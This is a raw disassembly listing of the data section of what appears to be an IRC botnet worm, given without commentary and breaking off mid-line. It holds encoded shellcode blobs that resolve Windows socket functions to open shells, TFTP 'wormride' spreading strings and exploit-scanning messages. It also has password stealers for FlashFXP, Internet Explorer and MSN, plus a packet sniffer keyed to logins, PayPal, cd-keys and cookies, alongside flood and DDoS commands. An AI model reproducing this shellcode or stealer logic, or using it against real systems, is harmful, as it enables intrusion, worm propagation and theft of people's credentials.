db 2Dh ; - ; DATA XREF: .text:00412382o db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: .text:0041237Do align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: .text:0041212Co aOctet db 'octet',0 ; DATA XREF: .text:004120F8o ; .text:0041210Ao align 4 unk_41C788 db 2Dh ; - ; DATA XREF: .text:00411F09o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 dword_41C7C8 dd 0B915EBh, 81000000h, 0F1h, 74805E00h, 0E200FF31h, 0E805EBF9h ; DATA XREF: sub_4125DF+50o dd 0FFFFFFE6h, 0 dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 dd 0E5FFh dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 dd 0E5FFh dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 dd 0E5FFh dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r dd offset aBg ; "ÓÞƒ" dd 0 dd offset dword_41CC2C dd offset aOa_0 ; "×׎€" align 8 dd offset dword_41CC08 dd offset aDvi ; "ÓÖ„‚©" dd 0 dd offset dword_41CBE8 dd offset aPa ; "ÚÖ€" dd 4 dup(0) aPa db 'ÚÖ€',0 ; DATA XREF: .data:0041CBC8o ; .data:0041DA90o align 8 dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; DATA XREF: .data:0041CBC4o ; .data:0041DA8Co aDvi db 'ÓÖ„‚©',0 ; DATA XREF: .data:0041CBBCo ; .data:0041DA84o align 8 dword_41CC08 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0) ; DATA XREF: .data:0041CBB8o ; .data:0041DA80o aOa_0 db '×׎€',0 ; DATA XREF: .data:0041CBB0o ; .data:0041DA78o align 4 dd 0 dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0 ; DATA XREF: .data:0041CBACo ; .data:0041DA74o aBg db 'ÓÞƒ',0 ; DATA XREF: .data:0041CBA4o ; .data:off_41DA6Co align 4 dd 0 dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0) ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA68o dword_41CC64 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC68 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC6C dd 63h ; DATA XREF: .text:loc_412DC8o dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: .text:00412E68o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 aJeP db '†…ØÝ¯',0 ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... align 4 dd 2 dup(0) dd 0D3000000h, 82D5h, 3 dup(0) db 2 dup(0) dword_41CCF6 dd 9BAC28F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCFA dd 0 ; DATA XREF: sub_412FC6+57w ; .text:00414107r ... off_41CCFE dd offset loc_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0) dd 82D2D600h, 4 dup(0) dd 0B0AEC05h, 0 dd 410B52h, 3, 10h dup(0) aWin32 db '(Win32)',0 ; DATA XREF: sub_41308F+217o aUnix db '(Unix)',0 ; DATA XREF: sub_41308F+1F1o align 10h aApacheU db 'Apache/%u',0 ; DATA XREF: sub_41308F+1DFo align 4 aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CDE8 db 53h ; S ; DATA XREF: .text:00413A80o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: .text:004139FAo dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: .text:004137DFo dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: .text:004137A1o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: .text:00413FC1o dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: .text:00413F63o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF50 db 2Dh ; - ; DATA XREF: .text:00413CE4o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: .text:0041410Do aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: .text:0041407Bo align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: .text:00414299o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: .text:00414275o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: .text:00414239o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D0A0 db 53h ; S ; DATA XREF: .text:004145D1o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: .text:0041456Ao dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: .text:00414431o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D22C db 2Dh ; - ; DATA XREF: .text:00414E82o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D268 dd 2343003h, 2037525h ; DATA XREF: .text:00414DE2o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: .text:00414D70o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: .text:00414D56o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: .text:00414D3Co db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: .text:00414D22o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: .text:00414D08o align 10h aPass db 0Dh,0Ah ; DATA XREF: .text:00414C12o db 'Pass=',0 aUser db 0Dh,0Ah ; DATA XREF: .text:00414BFAo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: .text:00414BE2o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: .text:00414BCAo db 'IP=',0 align 10h asc_41D300 db 0Dh,0Ah ; DATA XREF: .text:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D308 db 2Dh ; - ; DATA XREF: .text:00414A73o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 dd 3430032Dh, 3752502h, 4C202D02h, 65747369h, 30032064h dd 75250234h, 69200203h, 7265746Eh, 2074656Eh, 6C707865h dd 7265726Fh, 73617020h, 726F7773h, 29732864h, 2Eh, 2343003h dd 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh, 74656C70h dd 61502065h, 6F777373h, 20736472h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh, 2343003h, 2037525h, 4549202Eh, 7475413Ah dd 6F43206Fh, 656C706Dh, 66206574h, 646C6569h, 202D2073h dd 6C656946h, 3203A64h, 25023430h, 2E020373h, 74614420h dd 3203A61h, 25023430h, 2E020373h, 0 aHttps db 'https:/',0 aHttp_0 db 'http:/',0 align 4 aString db ':String',0 aStringindex db 'StringIndex',0 aE161255a db 'e161255a',0 align 4 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h, 2Ch, 31383962h, 32356339h, 0 dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh, 65376535h, 30303138h, 0 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h, 64303232h, 31636335h, 0 dd 737725h, 7825h, 3430032Dh, 3752502h, 4C202D02h, 69747369h dd 6920676Eh, 7265746Eh, 2074656Eh, 6C707865h, 7265726Fh dd 73617020h, 726F7773h, 7364h, 0 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: .text:00415DD7o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: .text:00415CA9o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: .text:00415C6Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: .text:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: .text:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: .text:00415BECo aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6FC dd offset aUser_0 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_1 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_2 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D758 dd offset aLogin ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth_0 ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey ; "cd-key" align 8 dd offset aCdKey_0 ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" align 10h dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU ; "serv-u" dd 0 dd offset aServU_0 ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D810 dd offset aPrivmsg_0 ; DATA XREF: sub_415EB7+98o ; "PRIVMSG " align 8 dd offset aNotice_0 ; "NOTICE " align 10h dd offset aTopic ; "TOPIC " align 8 dd offset aJoin_0 ; "JOIN " align 10h dd offset aPart ; "PART " align 8 dd offset aQuit ; "QUIT " dd 2 dup(0) aQuit db 'QUIT ',0 ; DATA XREF: .data:0041D838o align 4 aPart db 'PART ',0 ; DATA XREF: .data:0041D830o align 4 aJoin_0 db 'JOIN ',0 ; DATA XREF: .data:0041D828o align 4 aTopic db 'TOPIC ',0 ; DATA XREF: .data:0041D820o align 4 aNotice_0 db 'NOTICE ',0 ; DATA XREF: .data:0041D818o aPrivmsg_0 db 'PRIVMSG ',0 ; DATA XREF: .data:off_41D810o align 4 aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo align 4 aServU_0 db 'serv u',0 ; DATA XREF: .data:0041D7F4o align 10h aServU db 'serv-u',0 ; DATA XREF: .data:0041D7ECo align 4 aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo align 4 aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o align 4 aCdKey_0 db 'cd key',0 ; DATA XREF: .data:0041D788o align 4 aCdKey db 'cd-key',0 ; DATA XREF: .data:0041D780o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o align 4 aAuth_0 db 'auth ',0 ; DATA XREF: .data:0041D768o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o align 4 aLogin db 'login ',0 ; DATA XREF: .data:off_41D758o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co aPass_2 db 'pass=',0 ; DATA XREF: .data:0041D744o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o aAuth db ' :auth ',0 ; DATA XREF: .data:0041D71Co aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o align 4 aPass_1 db 'pass ',0 ; DATA XREF: .data:0041D704o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o align 10h aUser_0 db 'user ',0 ; DATA XREF: .data:off_41D6FCo align 4 dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: .text:00416537o dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9DC db 2Dh ; - ; DATA XREF: .text:0041610Fo db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h dd 0B4ACFFE6h, 2 dup(0) dword_41DA48 dd 0A1C21D0Eh ; DATA XREF: sub_40A9CF+843r ; .text:00416845r ... dword_41DA4C dd 0D6AF099Eh ; DATA XREF: .text:0041683Dr dword_41DA50 dd 0ED38F9D8h ; DATA XREF: .text:00416832r dword_41DA54 dd 5D58CED8h ; DATA XREF: .text:0041682Cr dd 0 off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... dd 2 dup(0) off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA6C dd offset aBg ; DATA XREF: sub_40CF2F+B8r ; "ÓÞƒ" dword_41DA70 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CC2C dd offset aOa_0 ; "×׎€" align 10h dd offset dword_41CC08 dd offset aDvi ; "ÓÖ„‚©" dd 0 dd offset dword_41CBE8 dd offset aPa ; "ÚÖ€" dd 4 dup(0) dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o aLast db '#last',0 ; DATA XREF: .text:004034CCo ; .text:00409422o ... align 4 dd 1Eh dup(0) byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 85h, 0D8h, 0DFh dd 0F1h, 1Eh dup(0) byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC34 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 0B2FCACh, 3Eh dup(0) ; DATA XREF: sub_406A23+2Eo ; sub_406AE7+2Eo dword_41DD44 dd 0DFDFA6C8h, 0DBA0D4F2h, 0BCh, 0 ; DATA XREF: .data:off_41DA5Co dd 3430032Dh, 62656402h, 2036775h aEipHasLeftTheE db '- eip has left the endless loop for some reason...',0 align 4 aEntry db 'entry',0 align 4 aLoop db 'loop',0 align 4 aPing08x db 'PING :%08X',0 ; DATA XREF: .text:00416A54o align 10h a08xX08x3x08x08 db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: .text:0041684Bo align 10h dword_41DDD0 dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: .text:00416E63o dword_41DDE0 dd 4172BCh, 0 ; DATA XREF: .rdata:off_4172B4o ; .rdata:00417394o a_?av_com_error db '.?AV_com_error@@',0 align 10h aRa db '¼rA',0 ; DATA XREF: .rdata:off_417308o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DE18 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DE1C dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DE20 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DE24 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DE2C dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DE30 db 0 ; DATA XREF: .text:00401B3Bo ; .text:00402A89r ... align 8 dword_41DE38 dd 0 ; DATA XREF: .text:00403345r ; sub_404CBB+1Br ... dword_41DE3C dd 0 ; DATA XREF: .text:00403336o dword_41DE40 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DE48 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DE4C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DE50 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DE54 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DE58 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DE5C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DE60 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DE64 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DE68 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DE6C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DE70 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DE74 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DE78 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DE7C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; .text:00408C48r ... dword_41DE80 dd 